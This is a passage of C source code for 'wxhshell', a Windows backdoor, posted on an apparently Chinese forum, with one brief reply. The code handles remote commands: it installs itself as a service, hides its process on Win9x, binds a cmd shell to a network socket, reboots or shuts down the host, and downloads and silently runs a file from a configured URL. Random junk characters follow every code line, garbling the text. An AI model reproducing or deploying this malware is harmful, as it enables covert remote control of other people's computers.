  if(DownloadFile(cmd,wsh)) +&GV-z~o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y-VDi.]W  
  else ]z'&oz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =~D? K9o  
  } }0'=}BE  
  else { X+hHEkJ  
Z%t_1t  
    switch(cmd[0]) { Ltlp9 S  
  w:&" "'E  
  // 帮助 2M %j-yG"  
  case '?': { W5*ldXXk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /x VHd  
    break; @CprC]X  
  } aukcO ;oG<  
  // 安装 LUOjaX  
  case 'i': { JGs: RD'  
    if(Install()) --yF%tRMP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h\s/rZg=r  
    else ] l,BUf-O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vygzL U^  
    break; ' \JE>#  
    } ]#tB[G  
  // 卸载 !3Q0Ahf  
  case 'r': { Y.^L^ "%dF  
    if(Uninstall()) :@A&HkF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y },E3<  
    else /K=OsMl2b8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u4x-GObJM  
    break; S{c/3k~  
    } *a9cBl'_  
  // 显示 wxhshell 所在路径 *"%TAe7?~+  
  case 'p': { ]\, ?u /  
    char svExeFile[MAX_PATH]; =i/Df ?  
    strcpy(svExeFile,"\n\r"); {)YbksrJ{  
      strcat(svExeFile,ExeFile); @rl5k(  
        send(wsh,svExeFile,strlen(svExeFile),0); J_Lmy7~xbD  
    break; 7! O"k#  
    } Z,&O8Jelf  
  // 重启 |OeyPD#  
  case 'b': { r\NqY.U&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :F(4&e=w  
    if(Boot(REBOOT)) lqDCK&g$E#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xs03..S  
    else { Tz @<hE  
    closesocket(wsh); ``MO5${  
    ExitThread(0); l.Q  
    } 3efOgP=L  
    break; Cxf K(F  
    } ~7m`p3W@  
  // 关机 -y`Pm8  
  case 'd': { ;6tra_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _l d.Xmvd  
    if(Boot(SHUTDOWN)) c_/BS n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Rbl.5. A  
    else { FP@_V-  
    closesocket(wsh); |t,sK aL  
    ExitThread(0); ,Py\Cp=Dw  
    } Sd+5Uf `  
    break; eG=d)`.JaV  
    } P,v7twc0M  
  // 获取shell G%F#I  
  case 's': { B=SA +{o  
    CmdShell(wsh); corm'AJ/  
    closesocket(wsh); |J $A%27  
    ExitThread(0); A95f!a  
    break; Xdvd\H=  
  } ;jP sS^X  
  // 退出  2&6D`{"P  
  case 'x': { Gp9 <LB\,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }m:paB"3  
    CloseIt(wsh); pb!2G/,.[  
    break; :~-:  
    } >a;a8EA<O  
  // 离开 ]LE,4[VxRz  
  case 'q': { 1k[_DQ=^l1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z+xkN  
    closesocket(wsh); z)Rkd0/X  
    WSACleanup(); >,6  
    exit(1); 1[P}D~ nQ  
    break; pa-*&p  
        } K1 f1 T  
  } R iZ)FW  
  } GT6; I7  
n:AZ(f   
  // 提示信息 ib,`0=0= O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6IqPZ{g9K'  
} u`ir(JIj]  
  } 8mX!mYO3c  
+3,7 Apj  
  return; Th_@'UDa  
} Agd"m4!  
p$,7qGST  
// shell模块句柄 {O+T`; =)L  
int CmdShell(SOCKET sock) Laj/~Ru6  
{ L*0YOE%=]  
STARTUPINFO si; pH~\~  
ZeroMemory(&si,sizeof(si)); 4LSs WO<@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |W@ ~mrO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N"9^A^w8k  
PROCESS_INFORMATION ProcessInfo; tI^91I  
char cmdline[]="cmd"; ^-%'ItVO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8vx ca]DcV  
  return 0; "6,fIsU  
} Tzd#!Lvm:,  
~-"CU:$o  
// 自身启动模式 {$S"S j  
int StartFromService(void) r^k+D<k[7  
{ =Jp:dM*  
typedef struct O%t? -h  
{ B:>:$LIL  
  DWORD ExitStatus; QPuc{NcB>  
  DWORD PebBaseAddress; O>E}Lu;|  
  DWORD AffinityMask; {-)^?Zb @  
  DWORD BasePriority; R0t!y3r&N  
  ULONG UniqueProcessId; ,e'r 0  
  ULONG InheritedFromUniqueProcessId; :k9T`Aa]  
}   PROCESS_BASIC_INFORMATION; <?41-p-;  
.7.G}z1  
PROCNTQSIP NtQueryInformationProcess; k$=L&id  
yp~z-aRa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~n -N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '`8 ^P  
Q g/Rw4[  
  HANDLE             hProcess; gj|5"'g%  
  PROCESS_BASIC_INFORMATION pbi; E8C8kH]  
(XK,g;RoEn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QRQ{Bq}#  
  if(NULL == hInst ) return 0; gY+d[3N  
p3_ Qx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SX,$ $43  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <gPM/ 4$G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k7uX!}  
\7\sx:!$  
  if (!NtQueryInformationProcess) return 0; c{^1`(#?  
=2q#- ,t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S6bW r0XR  
  if(!hProcess) return 0; dr)*.<_+a(  
%=z>kU1|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z/#,L!Z3  
Le83[E*i  
  CloseHandle(hProcess); xst-zfkH`  
5$i(f8*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u.E>d9  
if(hProcess==NULL) return 0; r?KRK?I  
K0>;4E>B  
HMODULE hMod; ;9~YQW@|  
char procName[255]; F]RPM(!5O)  
unsigned long cbNeeded; Z71_D  
} :?*n:g5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zl[EpXlZ  
"tT4Cb3  
  CloseHandle(hProcess); PU%Zay  
S))B^).0-  
if(strstr(procName,"services")) return 1; // 以服务启动 *vQ 6LF;y  
=pzTB-G  
  return 0; // 注册表启动 42e[OG-  
} lP=,|xFra  
J"#6m&R_q  
// 主模块 )P? 0YC  
int StartWxhshell(LPSTR lpCmdLine) xM{[~Kh_x  
{ ,7$&gx>2&  
  SOCKET wsl; }S"gZ6   
BOOL val=TRUE; Q>[{9bI4QP  
  int port=0; YdV.+v(30  
  struct sockaddr_in door; G%Lt>5*!nE  
TFldYKd/l  
  if(wscfg.ws_autoins) Install(); ~M7X]  
EFiVwH  
port=atoi(lpCmdLine); $Ptl&0MN%  
{pQ8/Af!  
if(port<=0) port=wscfg.ws_port; /.s L[X-G  
UV|{za$&/  
  WSADATA data; 5xT, O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $[_5:@T%N  
<IU   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mR2"dq;U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Br`;hL<T  
  door.sin_family = AF_INET; ZYB5s~;eB"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gy+c/gK  
  door.sin_port = htons(port); yfwR``F  
+%<kcc3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZK ?V{X{";  
closesocket(wsl); |5(CzXR]  
return 1; Lww&[|k.  
} ,aWI&ve6  
}2Ge??!  
  if(listen(wsl,2) == INVALID_SOCKET) { DI/d(oFv`  
closesocket(wsl); J<NpA(@^  
return 1; ZT"vVX- )G  
} o^5UHFxTCB  
  Wxhshell(wsl); uih8ZmRt  
  WSACleanup(); lhQMR(w^  
Nnn~7  
return 0; ,nog6\  
bs}SFTL  
} Rhlm  
d~.hp  
// 以NT服务方式启动 #_Uo^Mw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /g0' +DP  
{ <bn|ni|c"  
DWORD   status = 0; 7aRy])x  
  DWORD   specificError = 0xfffffff; ;Ym6ey0t  
 )%9:k9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H [M:iV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E690'\)31  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3p-SpUvp  
  serviceStatus.dwWin32ExitCode     = 0; I+Y Z+  
  serviceStatus.dwServiceSpecificExitCode = 0; RYl{89  
  serviceStatus.dwCheckPoint       = 0; cEXd#TlY~X  
  serviceStatus.dwWaitHint       = 0; ui"`c%2n  
1C=42ZZ&2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^^V+0 l  
  if (hServiceStatusHandle==0) return; zWN]#W`  
0LGHSDb  
status = GetLastError(); -0'< 7FSQ  
  if (status!=NO_ERROR) @6[aLF]F  
{ aR)UHxvX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *?Oh%.HgF  
    serviceStatus.dwCheckPoint       = 0; Mu.tq~b >  
    serviceStatus.dwWaitHint       = 0; e\#aQ1?"  
    serviceStatus.dwWin32ExitCode     = status; ?(khoL t  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;p,Kq5,l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F)l1%F Cm  
    return; ~ hP]<$v  
  } <,*w$  
ko{&~   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yqJ>Z%)hf  
  serviceStatus.dwCheckPoint       = 0; .K_50 %s  
  serviceStatus.dwWaitHint       = 0; Y3V2}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dF|n)+C~R  
} #BEXj<m+J  
>0:=<RW  
// 处理NT服务事件,比如:启动、停止 |+-b#Sa9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?+c-m+;wj  
{ 3nq4Y'  
switch(fdwControl) Sw{rNzh%$  
{ )):D&wlq  
case SERVICE_CONTROL_STOP: (-o}'l'mo  
  serviceStatus.dwWin32ExitCode = 0; zYis~ +  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fTy{`}>  
  serviceStatus.dwCheckPoint   = 0; pm}_\_  
  serviceStatus.dwWaitHint     = 0; 1[Q~&QC  
  { W$}2 $}r0U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9y\Ik/  
  } us#ji i.<  
  return; |o_ N$70  
case SERVICE_CONTROL_PAUSE: - Lsl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3D,tnn+J  
  break; HT_nxe`E  
case SERVICE_CONTROL_CONTINUE: %~<F7qB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mt *Dx  
  break; 5M%)*.Y 3[  
case SERVICE_CONTROL_INTERROGATE: C]zG@O !  
  break; h-03]M#8=  
}; pfMmDl5|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YRaF@?^Gn  
} 2 I.Q-'@  
Q9g^'a  
// 标准应用程序主函数 BgsU:eKe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qoz4(~I  
{ uY&t9L8  
'Urx83  
// 获取操作系统版本 0b=00./o  
OsIsNt=GetOsVer(); 9WL$3z'*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fp+fZU  
On;7  
  // 从命令行安装 !'bZ|j%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8[)"+IFN  
9*a"^  
  // 下载执行文件 oC TSV  
if(wscfg.ws_downexe) { BS?rKtdm(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _:XX+ 3W7  
  WinExec(wscfg.ws_filenam,SW_HIDE); gp\o|igT  
} $B )jSxSy  
GS GaYq  
if(!OsIsNt) { aqP"Y9l  
// 如果时win9x,隐藏进程并且设置为注册表启动 6(B[(Af  
HideProc(); >Qf`xUZ  
StartWxhshell(lpCmdLine); #%/0a  
} 'V4B{n7 h  
else Jb!s#g  
  if(StartFromService()) @i>4k  
  // 以服务方式启动 KpKZiUQm  
  StartServiceCtrlDispatcher(DispatchTable); 1?y QjW,  
else AHplvksb  
  // 普通方式启动 _10I0Z0  
  StartWxhshell(lpCmdLine); |Mnc0Fgvy,  
8$ _8Yva"e  
return 0; _.GHtu/I  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五